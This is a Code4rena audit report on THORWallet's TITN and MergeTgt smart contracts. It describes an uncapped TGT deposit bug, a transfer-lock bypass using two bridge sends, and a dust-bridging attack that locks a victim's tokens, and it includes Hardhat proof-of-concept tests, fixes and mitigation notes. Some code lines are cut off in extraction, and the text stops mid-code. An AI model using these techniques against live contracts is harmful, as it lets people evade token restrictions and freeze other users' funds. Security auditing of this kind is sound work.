



THORWallet

Findings & Analysis Report

2025-04-15

Table of contents

- [Overview](#)
- [About C4](#)
- [Summary](#)
- [Scope](#)
- [Severity Criteria](#)
- [High Risk Findings \(2\)](#)
 - [\[H-1\] MergeTgt has no handling if TGT TOEXCHANGE is exceeded during the exchange period](#)
 - [\[H-2\] The user can send tokens to any address by using two bridge transfers, even when transfers are restricted.](#)
- [Medium Risk Findings \(1\)](#)
 - [\[M-1\] Improper Transfer Restrictions on Non-Bridged Tokens Due to Boolean Bridged Token Tracking, Allowing a DoS Attack Vector](#)
- [Low Risk and Non-Critical Issues](#)
 - [QA-01 Dust Amount Loss in Cross-Chain TITN Token Transfers](#)
 - [QA-02 Interface Documentation References Wrong Token Standard](#)
 - [QA-03 Use of Non-Standard ERC-677 Token Interface](#)
 - [QA-04 Setter Functions Don't Check for Value Changes](#)
 - [QA-05 Permanent transfer restrictions on bridged tokens due to immutable isBridgedTokenHolder mapping](#)
- [Mitigation Review](#)
 - [Introduction](#)
 - [Mitigation Review Scope](#)
 - [Mitigation Review Summary](#)
 - [F-9 Unmitigated](#)
- [Disclosures](#)

[Overview](#)

[About C4](#)

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the THORWallet smart contract system. The audit took place from February 20, 2025 to February 26, 2025.

This audit was judged by [Oxnev](#).

Final report assembled by Code4rena.

Following the C4 audit, 3 wardens ([shaflow2](#), [web3km](#), and [kn0t](#)) reviewed the mitigations for all identified issues; the [mitigation review report](#) is appended below the audit report.

Summary

The C4 analysis yielded an aggregated total of 3 unique vulnerabilities. Of these vulnerabilities, 2 received a risk rating in the category of HIGH severity and 1 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 9 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the [C4 THORWallet repository](#), and is composed of 2 smart contracts written in the Solidity programming language and includes 216 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on [the C4 website](#), specifically our section on [Severity Categorization](#).

High Risk Findings (2)

🔗 [H-1] MergeTgt has no handling if TGTTOEXCHANGE is exceeded during the exchange period

Submitted by [jsonDoge](#), also found by [Ox4lhead](#), [OxAsen](#), [Oxastronatey](#), [Oxbrett8571](#), [Oxd4ps](#), [OxghOstcybers3c](#), [OxGondar](#), [OxLeveler](#), [Oxlucky](#), [OxTonraq](#), [4B](#), [Abhan](#), [agadzhlov](#), [anchabadze](#), [arman](#), [arnie](#), [aster](#), [Benterkiii](#), [boredpukar](#), [Bz](#), [ChainSentry](#), [ChainSentry](#), [ChainSentry](#), [Coldless](#), [crmx_lom](#), [Daniel_eth](#), [Daniel_eth](#), [Daniel526](#), [Daniel526](#), [DemoreX](#), [dobrevaleri](#), [eldar_m10v](#), [ewwrekt](#), [hjo](#), [IceBear](#), [Illoy-Scizceneghposter](#), [Ishenxx](#), [Ishenxx](#), [Ishenxx](#), [ITCruiser](#), [jkk812812](#), [KannAudits](#), [KannAudits](#), [knOt](#), [leegh](#), [MSK](#), [Mylifechange](#), [fast_eth](#), [Mylifechange](#), [fast_eth](#), [natachi](#), [peanuts](#), [phoenixV110](#), [REKCAH](#), [safie](#), [saikumar279](#), [Saurabh_Singh](#), [shaftow2](#), [silver_eth](#), [sohrabhind](#), [sohrabhind](#), [Striking_Lions](#), [Takarez](#), [teoslaf](#), [tpiliposian](#), [UzeyirCh](#), [w33kEd](#), [wahedtalash77](#), [web3km](#), [web3km](#), [yaoxy](#), [zhanmingjing](#), [zraxx](#), and [ZZhelev](#)

<https://github.com/code-423n4/2025-02-thorwallet/blob/98d7e936518ebd80e2029d782ffe763a3732a792/contracts/MergeTgt.sol#L81>

Finding description and impact

MergeTgt has hardcoded amounts of TGT *TOEXCHANGE* and TITNARB. *Their ratio is used for rate calculation and TITNARB amount of TITN is deposited to be claimed.*

The contract has no actual logic which would limit the deposited Tgt to MergeTgt. This means if this amount is crossed, any last claimers will not be able to do so or retrieve their Tgt back.

This same vulnerability also introduces an overflow in `withdrawRemainingTitn`. Since TGT is allowed to exceed the hardcoded value, the claimable TINT exceeds the actual mergeTgt contract TITN balance.

And this line overflows, as `remainingTitnAfter1Year` becomes less than the `initialTotalClaimable`.

```
uint256 unclaimedTitn = remainingTitnAfter1Year - initialTotalClaimable;
```

Likelihood: Medium - The total Tgt of all users has to exceed TGT TOEXCHANGE. According to blockchain explorers, ARB has 447,034,102 and ETH has 897,791,792, which is more than double the TGT TOEXCHANGE of 579,000,000, so quite likely.

Impact: High - loss of user funds and breaking contract logic (revert on claim).

🔗 Proof of Concept

A modified MNrgeTgt.test.ts. Main modifications:

- TGT total supply is increased above 579000000
- All user total TGT deposit to mergeTGT is above 579000000

Steps in tests:

- User1 deposits 100 TGT
- User2 deposits 578999999 TGT
- User1 claims successfully
- User2 claim fails due to mergeTgt not having enough TITN.

```
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'
import { time } from '@nomicfoundation/hardhat-network-helpers'
import { expect } from 'chai'
import { Contract, ContractFactory } from 'ethers'
import { deployments, ethers } from 'hardhat'

import { Options } from '@layerzerolabs/lz-v2-utilities'

describe('Audit MergeTgt tests', function () {
  // Constant representing a mock Endpoint ID for testing purposes
  const eidA = 1
  const eidB = 2
  // Other variables to be used in the test suite
  let Titn: ContractFactory
  let MergeTgt: ContractFactory
  let Tgt: ContractFactory
  let EndpointV2Mock: ContractFactory
  let ownerA: SignerWithAddress
  let ownerB: SignerWithAddress
  let endpointOwner: SignerWithAddress
  let user1: SignerWithAddress
  let user2: SignerWithAddress
  let user3: SignerWithAddress
  let baseTITN: Contract
  let arbTITN: Contract
  let mergeTgt: Contract
  let tgt: Contract
  let mockEndpointV2A: Contract
  let mockEndpointV2B: Contract
  // Before hook for setup that runs once before all tests in the block
  before(async function () {
    // Contract factory for our tested contract
    Titn = await ethers.getContractFactory('Titn')
    MergeTgt = await ethers.getContractFactory('MergeTgt')
    Tgt = await ethers.getContractFactory('Tgt')
    // Fetching the first three signers (accounts) from Hardhat's local Ethereum network
    const signers = await ethers.getSigners()
    ;[ownerA, ownerB, endpointOwner, user1, user2, user3] = signers
    // The EndpointV2Mock contract comes from @layerzerolabs/test-devtools-evm-hardhat package
    // and its artifacts are connected as external artifacts to this project
    const EndpointV2MockArtifact = await deployments.getArtifact('EndpointV2Mock')
```

```

    EndpointV2Mock = new ContractFactory(EndpointV2MockArtifact.abi, EndpointV2MockArtifact.bytecode, {
    })

    beforeEach(async function () {
        // Deploying a mock LZEndpoint with the given Endpoint ID
        mockEndpointV2A = await EndpointV2Mock.deploy(eidA)
        mockEndpointV2B = await EndpointV2Mock.deploy(eidB)
        // Deploying two instances of the TITN contract with different identifiers and linking them to the
        baseTITN = await Titn.deploy(
            'baseTitn',
            'baseTITN',
            mockEndpointV2A.address,
            ownerA.address,
            ethers.utils.parseUnits('1000000000', 18)
        )
        arbTITN = await Titn.deploy(
            'arbTitn',
            'arbTITN',
            mockEndpointV2B.address,
            ownerB.address,
            ethers.utils.parseUnits('0', 18)
        )
        // Setting destination endpoints in the LZEndpoint mock for each TITN instance
        await mockEndpointV2A.setDestLzEndpoint(arbTITN.address, mockEndpointV2B.address)
        await mockEndpointV2B.setDestLzEndpoint(baseTITN.address, mockEndpointV2A.address)
        // Setting each TITN instance as a peer of the other in the mock LZEndpoint
        await baseTITN.connect(ownerA).setPeer(eidB, ethers.utils.zeroPad(arbTITN.address, 32))
        await arbTITN.connect(ownerB).setPeer(eidA, ethers.utils.zeroPad(baseTITN.address, 32))

        // Defining the amount of tokens to send and constructing the parameters for the send operation
        const tokensToSend = ethers.utils.parseEther('173700000')
        // Defining extra message execution options for the send operation
        const options = Options.newOptions().addExecutorLzReceiveOption(200000, 0).toHex().toString()
        const sendParam = [
            eidB,
            ethers.utils.zeroPad(ownerB.address, 32),
            tokensToSend,
            tokensToSend,
            options,
            '0x',
            '0x',
        ]
        // Fetching the native fee for the token send operation
        const [nativeFee] = await baseTITN.quoteSend(sendParam, false)
        // Executing the send operation from TITN contract
        await baseTITN.send(sendParam, [nativeFee, 0], ownerA.address, { value: nativeFee })

        // Deploy MockTGT contract
        // @audit increased total supply above mergeTGT hardcoded 579_000_000
        tgt = await Tgt.deploy('Tgt', 'TGT', ownerB.address, ethers.utils.parseUnits('100000000000', 18))

        // Deploy MergeTgt contract
        mergeTgt = await MergeTgt.deploy(tgt.address, arbTITN.address, ownerB.address)

        // Arbitrum setup
        await arbTITN.connect(ownerB).setTransferAllowedContract(mergeTgt.address)
        await mergeTgt.connect(ownerB).setLaunchTime()
        await mergeTgt.connect(ownerB).setLockedStatus(1)

        // now the admin should deposit all ARB.TITN into the mergeTGT contract
        await arbTITN.connect(ownerB).approve(mergeTgt.address, ethers.utils.parseUnits('173700000', 18))
        await mergeTgt.connect(ownerB).deposit(arbTITN.address, ethers.utils.parseUnits('173700000', 18))

        // let's send some TGT to user1 and user2
        // @audit send close to 579_000_000 TGT to user1 (just above the mergeTGT hardcoded value)
        await tgt.connect(ownerB).transfer(user1.address, ethers.utils.parseUnits('578999999', 18))
        await tgt.connect(ownerB).transfer(user2.address, ethers.utils.parseUnits('1000', 18))
        await tgt.connect(ownerB).transfer(user3.address, ethers.utils.parseUnits('1000', 18))
    })

    describe('General tests', function () {
        it('Users can\'t claim if more than TGT limit is deposited', async function () {
            // transfer TGT to the merge contract
            await tgt.connect(user1).approve(mergeTgt.address, ethers.utils.parseUnits('578999999', 18))
            await tgt.connect(user1).transferAndCall(mergeTgt.address, ethers.utils.parseUnits('578999999', 18),

            await tgt.connect(user2).approve(mergeTgt.address, ethers.utils.parseUnits('1000', 18))
            await tgt.connect(user2).transferAndCall(mergeTgt.address, ethers.utils.parseUnits('1000', 18),

```

```

        const claimableAmountUser2 = await mergeTgt.claimableTitnPerUser(user2.address)
        await mergeTgt.connect(user2).claimTitn(claimableAmountUser2)
        // claim TITN
        const claimableAmountUser1 = await mergeTgt.claimableTitnPerUser(user1.address)
        expect(claimableAmountUser1.toString()).to.be.equal('1736999997000000000000000000')
        // @audit fails due to insufficient TITN in mergeTGT
        await mergeTgt.connect(user1).claimTitn(claimableAmountUser1)
    })
})
})

```

Test final claim fails with:

```
Error: VM Exception while processing transaction: reverted with custom error 'ERC20InsufficientBalance("0)
```

Recommended mitigation steps

Limit the total deposits to TGT *TOEXCHANGE* by tracking how much TGT has already been deposited. MergeTgt.sol

```

uint256 public totalTgtDeposited;
...
function onTokenTransfer(address from, uint256 amount, bytes calldata extraData) external nonReentrant {
    ...
    if (totalTgtDeposited + amount > TGT_TO_EXCHANGE) {
        revert TGTExceeded();
    }
    totalTgtDeposited += amount;
}

```

Or

the same idea, but limit the `totalTitnClaimable` by TITN_ARB value. This will likely be more efficient, as the rate tgt/titn is dynamic.

[cacaomatt \(THORWallet\) confirmed and commented:](#)

This is related to [S-88](#). The fix for both of them (same issue, different approach) can be found on the same PR [here](#).

[THORWallet mitigated:](#)

The PR [here](#) fixes the issue when depositing more TGT and specified in the contract.

Status: Mitigation confirmed. Full details in reports from [shaflo2](#), [web3km](#), and [knOt](#).

[H-2] The user can send tokens to any address by using two bridge transfers, even when transfers are restricted.

Submitted by [shaflo2](#), also found by [OxAadi](#), [Agorist](#), [Aleksa](#), [arnie](#), [doublekk](#), [falconhoof](#), [Giorgio](#), [hezze](#), [iamandreiski](#), [jesjupyter](#), [knOt](#), [KupiaSec](#), [MrValioBg](#), [pairingfriendly](#), [Pelz](#), [phoenixV110](#), [radev_sw](#), [slowbugmayor](#), [SpicyMeatball](#), [undefined_joe](#), [vladi319](#), [web3km](#), [X-Tray03](#), [ZoA](#), and [zzykxx](#)

<https://github.com/code-423n4/2025-02-thorwallet/blob/98d7e936518ebd80e2029d782ffe763a3732a792/contracts/Titn.sol#L103>

Finding description and impact

When `isBridgedTokensTransferLocked` is set to true, regular users' `transfer` and `transferFrom` operations will be restricted. Regular users should not send their tokens to any address other than the

`transferAllowedContract` and `lzEndpoint`. However, since bridge operations are not subject to this restriction, users can send tokens to any address by performing two bridge transfers. This breaks the primary invariant: *Unless enabled (or the user is the admin), users who merge their TGT to TITN should not be able to transfer them to any address other than the LayerZero endpoint or a specified contract address* (`transferAllowedContract`).

Proof of Concept

The TITN contract overrides the `transfer` and `transferFrom` functions, adding the `_validateTransfer` validation to restrict regular users' transfers in certain cases, as determined by the admin.

<https://github.com/code-423n4/2025-02->

<thorwallet/blob/98d7e936518ebd80e2029d782ffe763a3732a792/contracts/Titn.sol#L71>.

```
function transfer(address to, uint256 amount) public override returns (bool) {
    _validateTransfer(msg.sender, to);
    return super.transfer(to, amount);
}

function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
    _validateTransfer(from, to);
    return super.transferFrom(from, to, amount);
}

* @dev Validates transfer restrictions.
* @param from The sender's address.
* @param to The recipient's address.
*/
function _validateTransfer(address from, address to) internal view {
    // Arbitrum chain ID
    uint256 arbitrumChainId = 42161;

    // Check if the transfer is restricted
    if (
        from != owner() && // Exclude owner from restrictions
        from != transferAllowedContract && // Allow transfers to the transferAllowedContract
        to != transferAllowedContract && // Allow transfers to the transferAllowedContract
        isBridgedTokensTransferLocked && // Check if bridged transfers are locked
        // Restrict bridged token holders OR apply Arbitrum-specific restriction
        (isBridgedTokenHolder[from] || block.chainid == arbitrumChainId) &&
        to != lzEndpoint // Allow transfers to LayerZero endpoint
    ) {
        revert BridgedTokensTransferLocked();
    }
}
```

However, since bridge operations do not use `transfer`/`transferFrom`, but instead use `mint`/`burn`, this allows users to transfer tokens to any address by performing two bridge operations.

For example:

1. Currently, `isBridgedTokensTransferLocked` is set to `true`, and `user1` holds 1 Ether TITN on Arbitrum. `user1` wants to transfer these tokens to `user2`.
2. `user1` calls `send` to bridge the TITN to their address on Base.
3. `user1` calls `send` again on Base to bridge the TITN to `user2`'s address on Arbitrum.
4. `user1` successfully sends 1 Ether TITN to `user2`.

Proof Of Concept

To run the POC, you can add the following code to the `test/hardhat/MergeTgt.test.ts` file:

```
it('user1 transfer TITN tokens to user2 by bridge when transfer disable', async function () {
    // transfer TGT to the merge contract
    await tgt.connect(user1).approve(mergeTgt.address, ethers.utils.parseUnits('100', 18))
    await tgt.connect(user1).transferAndCall(mergeTgt.address, ethers.utils.parseUnits('100', 18),
    // claim TITN
    const claimableAmount = await mergeTgt.claimableTitnPerUser(user1.address)
    await mergeTgt.connect(user1).claimTitn(claimableAmount)
    // attempt to transfer TITN (spoiler alert: it should fail)
    try {
```

```

        await arbTITN.connect(user1).transfer(user2.address, ethers.utils.parseUnits('1', 18))
        expect.fail('Transaction should have reverted')
    } catch (error: any) {
        expect(error.message).to.include('BridgedTokensTransferLocked')
    }
}

// Minting an initial amount of tokens to ownerA's address in the TITN contract
const initialAmount = ethers.utils.parseEther('1000000000')
// Defining the amount of tokens to send and constructing the parameters for the send operation
const tokensToSend = ethers.utils.parseEther('1')
// Defining extra message execution options for the send operation
const options = Options.newOptions().addExecutorLzReceiveOption(200000, 0).toHex().toString()
const sendParam = [
    eidA,
    ethers.utils.zeroPad(user1.address, 32),
    tokensToSend,
    tokensToSend,
    options,
    '0x',
    '0x',
]

// Fetching the native fee for the token send operation
const [nativeFee] = await arbTITN.quoteSend(sendParam, false)
// Executing the send operation from TITN contract
const startBalanceB0nBase = await baseTITN.balanceOf(user1.address)

await arbTITN.connect(user1).send(sendParam, [nativeFee, 0], user1.address, { value: nativeFee })
const finalBalanceB0nBase = await baseTITN.balanceOf(user1.address)
expect(startBalanceB0nBase).to.eql(ethers.utils.parseEther('0'))
expect(finalBalanceB0nBase.toString()).to.eql(tokensToSend.toString())

// Fetching the native fee for the token send operation
const sendParam2 = [
    eidB,
    ethers.utils.zeroPad(user2.address, 32),
    tokensToSend,
    tokensToSend,
    options,
    '0x',
    '0x',
]

const [nativeFee2] = await baseTITN.quoteSend(sendParam2, false)
const startBalanceB0nArb = await arbTITN.balanceOf(user2.address)
await baseTITN.connect(user1).send(sendParam2, [nativeFee, 0], user2.address, { value: nativeFee })
const finalBalanceB0nArb = await arbTITN.balanceOf(user2.address)

console.log("before user2 balance: ", startBalanceB0nArb);
console.log("after user2 balance: ", finalBalanceB0nArb);

expect(startBalanceB0nArb).to.eql(ethers.utils.parseEther('0'))
expect(finalBalanceB0nArb.toString()).to.eql(tokensToSend.toString())
})

```

Logs:

```

before user2 balance: BigNumber { value: "0" }
after user2 balance: BigNumber { value: "1000000000000000000" }
✓ user1 transfer TITN tokens to user2 by bridge when transfer disable

```

🔗 Recommended mitigation steps

It is recommended to also disable the `send` function when `isBridgedTokensTransferLocked` is set to true. Alternatively, add the `_validateTransfer` check to the `mint` / `burn` functions.

cacaomatt (THORWallet) confirmed

[Oxnev \(judge\) commented:](#)

Valid finding, medium severity as of now, given although the invariant is broken, afiak, no direct fund loss or exploit is possible.

There is a case of speculative trading to price the tokens that directly go against another invariant. Would take any comments that makes a case for high severity regarding this impact.

Bridged TITN Tokens: Transfers are restricted to a pre-defined address (transferAllowedContract), set by the admin. Initially, this address will be the staking contract to prevent trading until the `isBridgedTokensTransferLocked` flag is disabled by the admin.

[cryptoxz \(THORWallet\) commented:](#)

One of the main points to add this restriction was to prevent users to create a trading pool before TGE. We would like to explore more this issue as that would be a high concern for us.

[cacaomatt \(THORWallet\) confirmed and commented:](#)

We've created a PR for this [here](#).

[Oxnev \(judge\) commented:](#)

Raising to high severity, as of now, given the possible impact of speculative trading I mentioned above

[THORWallet mitigated:](#)

The PR [here](#) only allows bridging to the sender's own address.

Status: Mitigation confirmed. Full details in reports from [shaflo2](#), [web3km](#), and [kn0t](#).

🔗 Medium Risk Findings (1)

🔗 [M-1] Improper Transfer Restrictions on Non-Bridged Tokens Due to Boolean Bridged Token Tracking, Allowing a DoS Attack Vector

Submitted by [Limbooo](#), also found by [OxAadi](#), [OxAsen](#), [OxAsen](#), [Oxastronatey](#), [Oxcrazyboy999](#), [Oxdoichantran](#), [Oxhp9](#), [OxIconart](#), [Oxlemon](#), [Oxloscar01](#), [OxMosh](#), [OxTonraq](#), [Oxvd](#), [Oxyuri](#), [4B](#), [Abdessamed](#), [Abdul](#), [agadzhalov](#), [Agorist](#), [aldarion](#), [Alekso](#), [Arjuna](#), [arnie](#), [attentioniayn](#), [bani](#), [Benterkiii](#), [Bz](#), [classic-k](#), [Daniel_eth](#), [Daniel526](#), [dobrevaleri](#), [doublekk](#), [eLSeR17](#), [EPSec](#), [falconhoof](#), [farismaulana](#), [felconsec](#), [francoHacker](#), [gesha17](#), [ginlee](#), [HappyTop0603](#), [hearmen](#), [hearmen](#), [Heavyweight_hunters](#), [hyuunn](#), [hyuunn](#), [iam_emptyset](#), [iamandreiski](#), [Illoy-Scizceneghposter](#), [inh3l](#), [lshenxx](#), [jesjupyter](#), [jsonDoge](#), [ka14ar](#), [kn0t](#), [KupiaSec](#), [lanyi2023](#), [laxraw](#), [leegh](#), [matrix_Owl](#), [misbahu](#), [montecristo](#), [MSK](#), [Mylifechangeast_eth](#), [MysteryAuditor](#), [NHristov](#), [PabloPerez](#), [pairingfriendly](#), [patitonar](#), [peanuts](#), [phoenixV110](#), [REKCAH](#), [Sabit](#), [shaflo2](#), [shaflo2](#), [Sherlock_VARM](#), [Shipkata494](#), [silver_eth](#), [SpicyMeatball](#), [theboiledcorn](#), [theboiledcorn](#), [undefined_joe](#), [vladi319](#), [web3km](#), [XOsauce](#), [y4y](#), [YouCrossTheLineAlfie](#), [Zach_166](#), and [zzykxx](#)

<https://github.com/code-423n4/2025-02-thorwallet/blob/98d7e936518ebd80e2029d782ffe763a3732a792/contracts/Titn.sol#L106-L108>

<https://github.com/code-423n4/2025-02-thorwallet/blob/98d7e936518ebd80e2029d782ffe763a3732a792/contracts/Titn.sol#L82-L83>

🔗 Finding description and impact

Root Cause The `Titn.sol` contract incorrectly tracks bridged token holders using a boolean flag (`isBridgedTokenHolder`). Once an address receives *any* bridged tokens (via cross-chain bridging), it is permanently marked as a “bridged token holder,” subjecting all tokens held by that address (including non-bridged ones) to transfer restrictions. This flawed design allows malicious actors to disrupt legitimate users by sending them a trivial amount of bridged tokens, thereby locking their entire TITN balance from being transferred freely.

Impact

- **Loss of User Control:** Users holding both bridged and non-bridged tokens cannot transfer *any* tokens unless sending them to the LayerZero endpoint or `transferAllowedContract`.
- **Denial-of-Service (DoS) Attack Vector:** An attacker can send 1 wei of bridged TITN to any address, permanently locking their TITN tokens (even those obtained through non-bridged means).
- **Protocol Functionality Breakdown:** The intended economic model (allowing free transfer of non-bridged tokens) is violated, undermining user trust and utility.

Proof of Concept

Code References

1. Bridged Token Tracking (Incorrect Boolean):

[Titn.sol#L106-L108](#) :

```
if (!isBridgedTokenHolder[_to]) {
    isBridgedTokenHolder[_to] = true;
}
```

This marks `_to` as a bridged holder upon receiving *any* bridged tokens.

2. Overly Restrictive Transfer Validation:

[Titn.sol#L82-L83](#) :

```
(isBridgedTokenHolder[from] || block.chainid == arbitrumChainId) &&
to != lzEndpoint
```

If `from` is marked as a bridged holder (even for 1 wei), transfers are blocked unless sent to `lzEndpoint`.

Attack Scenario

1. Malicious User Action:

- Attacker bridges 1 wei of TITN to Victim’s address on Base.
- Victim is now marked as `isBridgedTokenHolder[Victim] = true`.

2. Victim’s Attempted Transfer:

- Victim holds 1000 non-bridged TITN tokens.
- Tries to transfer 1000 TITN to another address (not `lzEndpoint` or `transferAllowedContract`).
- Transaction reverts with `BridgedTokensTransferLocked()`, even though all tokens are non-bridged.

Coded Proof of Concept `./test/hardhat/Titn.test.ts`

```

it('malicious user can bridged token to others to lock thier non-bridged tokens', async function () {
  const attacker = user1
  const victim = user2

  // mint non-bridged TITN to victim (Base)
  const victimNonBridgedTokens = ethers.utils.parseEther('1')
  await baseTITN.connect(ownerA).transfer(victim.address, victimNonBridgedTokens)
  expect(await baseTITN.isBridgedTokenHolder(victim.address)).false

  // mint TITN to attacker (Arb)
  // await arbTITN.connect(ownerB).transfer(attacker.address, ethers.utils.parseEther('1'))
  const attackerTokens = ethers.utils.parseEther('1')
  const options = Options.newOptions().addExecutorLzReceiveOption(200000, 0).toHex().toString()
  const sendParam = [
    eidB,
    ethers.utils.zeroPad(attacker.address, 32), // to attacker
    attackerTokens,
    attackerTokens,
    options,
    '0x',
    '0x',
  ]
  const [nativeFee] = await baseTITN.quoteSend(sendParam, false)
  await baseTITN.send(sendParam, [nativeFee, 0], ownerA.address, { value: nativeFee })

  // Attacker bridges 1 wei to Victim
  const tokensToSend = ethers.utils.parseEther('.000001')
  const attacksSendParam = [
    eidA,
    ethers.utils.zeroPad(victim.address, 32), // to victim
    tokensToSend,
    tokensToSend,
    options,
    '0x',
    '0x',
  ]
  const [attacksNativeFee] = await arbTITN.quoteSend(attacksSendParam, false)
  await arbTITN
    .connect(attacker)
    .send(attacksSendParam, [nativeFee, 0], attacker.address, { value: attacksNativeFee })

  // POC: Victim attempts to transfer non-bridged tokens, Fails due to boolean flag.
  expect(await baseTITN.isBridgedTokenHolder(victim.address)).true
  try {
    await arbTITN.connect(victim).transfer(ownerB.address, victimNonBridgedTokens)
    expect.fail('Transaction should have reverted')
  } catch (error: any) {
    expect(error.message).to.include('BridgedTokensTransferLocked')
  }
})

```

🔗 Recommended mitigation steps

Track Bridged Token Balances Instead of Booleans

1. Replace `isBridgedTokenHolder` with a `bridgedBalances` mapping to track the *exact amount* of bridged tokens per address:

```
mapping(address => uint256) public bridgedBalances;
```

2. Modify `_credit` to Increment Bridged Balance:
Update the bridging logic to accumulate bridged amounts:

```

function _credit(...) internal override ... {
  bridgedBalances[_to] += _amountLD; // Track bridged amount
}

```

3. Update Transfer Validation Logic:

Restrict transfers *only* if the amount exceeds the non-bridged balance:

```
function _validateTransfer(...) internal view {
    uint256 nonBridged = balanceOf(from) - bridgedBalances[from];
    if (amount > nonBridged && to != allowedAddress) {
        revert BridgedTokensTransferLocked();
    }
}
```

4. Decrement Bridged Balance on Approved Transfers:

When tokens are sent to `lzEndpoint` or `transferAllowedContract`, reduce `bridgedBalances`:

```
function transfer(...) public override ... {
    super.transfer(...);
    if (to == lzEndpoint || to == transferAllowedContract) {
        bridgedBalances[from] = bridgedBalances[from] > amount
            ? bridgedBalances[from] - amount
            : 0;
    }
}
```

Benefits

- **Precision:** Only bridged tokens are restricted; non-bridged tokens remain freely transferable.
- **No DoS Vector:** Attackers cannot lock users' non-bridged tokens by sending trivial bridged amounts.
- **Backward Compatibility:** Maintains existing protocol invariants while fixing the critical flaw.

cacaomatt (THORWallet) acknowledged

[Oxnev \(judge\) commented:](#)

Valid, I believe medium is appropriate based on C4 medium severity guidelines, given no assets are compromised/lost.

2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

This only impacts the following invariant on Base.

Non-bridged TITN Tokens: Holders can transfer their TITN tokens freely to any address as long as the tokens have not been bridged from ARBITRUM.

If usage of tokens are desired for defi protocols, the tokens can still be bridged via transfers to the LZ endpoint

[cacaomatt \(THORWallet\) acknowledged and commented:](#)

This is no longer applicable as our PR to address finding F-9 prevents this from happening in the first place.

🔗 Low Risk and Non-Critical Issues

For this audit, 9 reports were submitted by wardens detailing low risk and non-critical issues. The [report highlighted below](#) by Sparrow received the top score from the judge.

The following wardens also submitted reports: [Anonymous0x1C41](#), [EPSec](#), [eta](#), [Fitro](#), [inh3l](#), [peanuts](#), [tpiliposian](#), and [udo](#).

🔗 [QA-01] Dust Amount Loss in Cross-Chain TITN Token Transfers

Impact

When bridging TITN tokens cross-chain using LayerZero's OFT standard, small dust amounts are removed to handle decimal precision differences between chains. This affects initial TITN deposits, user claims, and remaining TITN withdrawals.

🔗 Vulnerability Details

The TITN contract inherits from OFT:

```
contract Titn is OFT {
    constructor(string memory _name, string memory _symbol, address _lzEndpoint,
        address _delegate, uint256 initialMintAmount) OFT(_name, _symbol, _lzEndpoint, _delegate)
```

MergeTgt requires exact amounts:

```
uint256 public constant TITN_ARB = 173_700_000 * 10 ** 18;
if (amount != TITN_ARB) {
    revert InvalidAmountReceived();
}
```

Due to OFT's dust removal, bridged amounts may be slightly less than expected, causing transaction failures or minor token losses.

🔗 Recommended mitigation steps

Add tolerance for deposit amounts.

🔗 [QA-02] Interface Documentation References Wrong Token Standard

🔗 Finding description and impact

The `IERC677Receiver` interface documentation incorrectly references `ERC1363` instead of `ERC677`. This mismatch between the interface name and its documentation could lead to integration issues and developer confusion.

The interface is named `IERC677Receiver` but its documentation comments reference `ERC1363`'s `transferAndCall` functionality. While both standards have similar purposes, they have different implementations and requirements. This inconsistency could cause:

- Integration errors if developers implement the wrong standard based on the documentation
- Confusion during code review and maintenance
- Potential compatibility issues with other contracts expecting specific standard implementations The impact is low, as this is primarily a documentation issue and does not affect the actual functionality of the code.

🔗 Proof of Concept

The interface in [IERC677Receiver.sol](#):

```
/**
 * @title IERC1363Receiver
 * @dev Interface for any contract that wants to support `transferAndCall` or `transferFromAndCall` from EIP
```

```

    */
    interface IERC677Receiver {
        function onTokenTransfer(address sender, uint value, bytes calldata data) external;
    }

```

The interface is used in `MergeTgt.sol` for handling token transfers, but it's implementing ERC677 functionality despite the ERC1363 documentation:

```

import {IERC677Receiver} from "../interfaces/IERC677Receiver.sol";

contract MergeTgt is IMerge, Ownable, ReentrancyGuard {
    // ...
    function onTokenTransfer(address from, uint256 amount, bytes calldata extraData) external nonReentrant
    // ...
    }
}

```

Recommended mitigation steps

- Update the interface documentation to correctly reference ERC677.

[QA-03] Use of Non-Standard ERC-677 Token Interface

Finding Description and Impact

The protocol implements the ERC-677 token standard, which is not an officially finalized ERC standard. This introduces several risks:

1. The standard could change or be deprecated since it's not finalized
2. Limited tooling and library support due to non-standardization

Proof of Concept

1. The protocol implements [IERC677Receiver](#) interface:

```

// In IERC677Receiver.sol
interface IERC677Receiver {
    function onTokenTransfer(address sender, uint value, bytes calldata data) external;
}

```

2. This interface is used in [MergeTgt.sol](#).
3. ERC-677 is not listed in the final or last call standards on <https://eips.ethereum.org/erc>.

Recommended mitigation steps

- Consider migrating to the more standardized EIP-1363 (ERC-1363), which provides similar functionality but is better specified and maintained.

[QA-04] Setter Functions Don't Check for Value Changes

This issue results in unnecessary event emissions when setting values that are already at the desired value.

Proof of Concept

The following setter functions do not check if the new value differs from the current value:

- [setLockedStatus](#)

- [setLaunchTime](#)
- [setTransferAllowedContract](#)
- [setBridgedTokenTransferLocked](#)

🔗 Recommended mitigation steps

- Add checks to compare new values with current values before performing the update and emitting events.

🔗 [QA-05] Permanent transfer restrictions on bridged tokens due to immutable isBridgedTokenHolder mapping

Impact

High. Addresses marked as bridged token holders cannot be unmarked, potentially leading to permanently locked tokens, even in legitimate cases.

Vulnerability Details

In the Titn contract, addresses that receive bridged tokens are permanently marked in the isBridgedTokenHolder mapping with no way to remove them:

```
mapping(address => bool) public isBridgedTokenHolder;

function _credit(address _to, uint256 _amountLD, uint32) internal virtual override returns (uint256) {
    // ... other logic ...

    // Addresses that bridged tokens have some transfer restrictions
    if (!isBridgedTokenHolder[_to]) {
        isBridgedTokenHolder[_to] = true;
    }

    return _amountLD;
}
```

These addresses are then restricted from transferring tokens:

```
function _validateTransfer(address from, address to) internal view {
    if (
        from != owner() &&
        from != transferAllowedContract &&
        to != transferAllowedContract &&
